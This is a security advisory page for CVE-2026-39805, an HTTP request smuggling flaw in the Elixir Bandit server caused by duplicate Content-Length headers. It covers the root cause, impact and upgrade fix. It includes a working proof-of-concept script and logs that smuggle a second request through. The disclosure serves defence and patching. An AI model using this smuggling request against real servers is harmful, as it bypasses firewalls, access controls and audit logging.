CVE-2026-39805: CL.CL HTTP request smuggling via duplicate Content-Length in bandit

Published May 1, 2026
·
Updated

Summary

Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af

Details

Bandit.Headers.getcontentlength/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.

Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.

PoC

The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs

On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.

Impact

Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.

The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.

Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.

Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.

- Bandit directly on the internet: spec violation, no exploit. - Bandit behind a major CDN/LB: almost certainly safe. - Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.

Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.

Script and Logs

elixir Bandit HTTP/1 duplicate Content-Length first-wins PoC. Bandit.Headers.getcontentlength/1 calls List.keyfind/3, which returns the first Content-Length value and silently ignores additional Content-Length entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error and says the recipient MUST treat it as such. This is the classic CL.CL request-smuggling primitive. If a fronting proxy uses the last Content-Length while Bandit uses the first (or vice versa), the second "request" embedded in the first request's body gets dispatched as a new request on the same keep-alive connection - after the proxy has already applied its access controls. Run: elixir scripts/bandit/http1duplicatecontentlength.exs

Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])

defmodule DemoApp do @behaviour Plug

import Plug.Conn

def init(opts), do: opts

def call(conn, opts) do sendresp(conn, 200, "method=#{conn.method} path=#{conn.requestpath}\n") end end

defmodule Smuggle do @port 4321

def run do {:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

request = buildsmugglingrequest() log("Sending #{bytesize(request)}-byte CL.CL request:\n#{request}")

{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) :ok = :gentcp.send(sock, request)

response = readall(sock) :gentcp.close(sock)

log("Response stream:\n#{response}") diagnose(response) end

# POST with two Content-Length headers, plus a smuggled GET line in the # body. A CL-last frontend would forward the body bytes; Bandit (CL-first) # reads 0 bytes per Content-Length: 0, replies, and the smuggled request # line either gets parsed as a new request on the keep-alive connection # or stays in the buffer. defp buildsmugglingrequest do smuggledrequest = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" smuggledsize = bytesize(smuggledrequest)

"POST / HTTP/1.1\r\n" <> "Host: 127.0.0.1\r\n" <> "Content-Length: 0\r\n" <> "Content-Length: #{smuggledsize}\r\n" <> "\r\n" <> smuggledrequest end

defp readall(sock, accumulated \\ "") do case :gentcp.recv(sock, 0, 2000) do {:ok, bytes} -> readall(sock, accumulated <> bytes) {:error, reason} -> accumulated end end

# Three observable outcomes: # - 400 Bad Request -> RFC-conformant rejection (not what current # Bandit does). # - Two responses, second one for /smuggled -> Bandit dispatched the # smuggled request as a second pipelined request. # - One response -> Bandit accepted Content-Length: 0, the smuggled # bytes sat in the keep-alive buffer; with a CL-last frontend this # becomes a smuggled request on the next request boundary. defp diagnose(response) do responselines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]/m, response) |> List.flatten() log("HTTP/1.x response lines observed: #{length(responselines)}") Enum.each(responselines, fn line -> log(" #{line}") end)

cond do response =~ ~r/^HTTP\/1\.[01] 400/ -> log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")

response =~ "/smuggled" -> log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")

length(responselines) == 1 -> log("ACCEPTED: Bandit took the first Content-Length (0) and left the") log("smuggled request line in the keep-alive buffer. Combined with a") log("CL-last frontend this becomes request smuggling.")

true -> log("Inconclusive - see raw response above.") end end

defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end

Smuggle.run()

logs 11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [09:52:23.039] Sending 118-byte CL.CL request: POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: 0 Content-Length: 43

GET /smuggled HTTP/1.1 Host: 127.0.0.1

[09:52:25.057] Response stream: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 09:52:22 GMT content-length: 19 vary: accept-encoding cache-control: max-age=0, private, must-revalidate

method=POST path=/ HTTP/1.1 200 OK date: Tue, 28 Apr 2026 09:52:22 GMT content-length: 26 vary: accept-encoding cache-control: max-age=0, private, must-revalidate

method=GET path=/smuggled

[09:52:25.057] HTTP/1.x response lines observed: 2 [09:52:25.057] HTTP/1.1 200 OK [09:52:25.057] HTTP/1.1 200 OK [09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.

Other sources

Inconsistent Interpretation of HTTP Requests vulnerability in mtrudel bandit allows HTTP request smuggling via duplicate Content-Length headers.

'Elixir.Bandit.Headers':getcontentlength/1 in lib/bandit/headers.ex uses List.keyfind/3, which returns only the first matching header. When a request contains two Content-Length headers with different values, Bandit silently accepts it, uses the first value to read the body, and dispatches the remaining bytes as a second pipelined request on the same keep-alive connection. RFC 9112 §6.3 requires recipients to treat this as an unrecoverable framing error.

When Bandit sits behind a proxy that picks the last Content-Length value and forwards the request rather than rejecting it, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

This issue affects bandit: before 1.11.0.

— MITRE

Affected Software

2 affected componentsFixes available
hexpm/bandit<1.11.0
erlang/bandit<1.11.0
1.11.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade erlang/bandit to a version that resolves this vulnerability.

    Fixed in 1.11.0
  2. Upgrade

    Upgrade bandit to a version that resolves this vulnerability.

    Fixed in 1.11.0
  3. Configuration

    Modify Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) to collect every Content-Length header value and reject the request unless all parsed values are byte-identical, extending the existing rejection to the multi-line case (current behavior silently accepts multi-line duplicate Content-Length due to List.keyfind/3 returning only the first matching header).

    Bandit (lib/bandit/headers.ex) Content-Length handling in Bandit.Headers.get_content_length/1 = reject unless all Content-Length values parse and are byte-identical (extend existing multi-line rejection)

Event History

May 1, 2026
CVE Published
via MITRE·08:34 PM
Data Sourced
via MITRE·08:34 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
May 7, 2026
Advisory Published
via GitHub·03:46 AM
Data Sourced
via GitHub·03:46 AM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-39805?

CVE-2026-39805 has a high severity rating as it allows HTTP request smuggling through duplicate Content-Length headers.

2

How do I fix CVE-2026-39805?

To fix CVE-2026-39805, upgrade the bandit version to 1.11.0 or later.

3

What types of applications are affected by CVE-2026-39805?

CVE-2026-39805 affects applications using the Elixir Bandit web server framework.

4

What is the attack vector for CVE-2026-39805?

The attack vector for CVE-2026-39805 involves an attacker sending crafted HTTP requests with duplicate Content-Length headers.

5

Can CVE-2026-39805 lead to data breaches?

Yes, CVE-2026-39805 can potentially lead to data breaches as it allows the execution of unauthorized requests.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203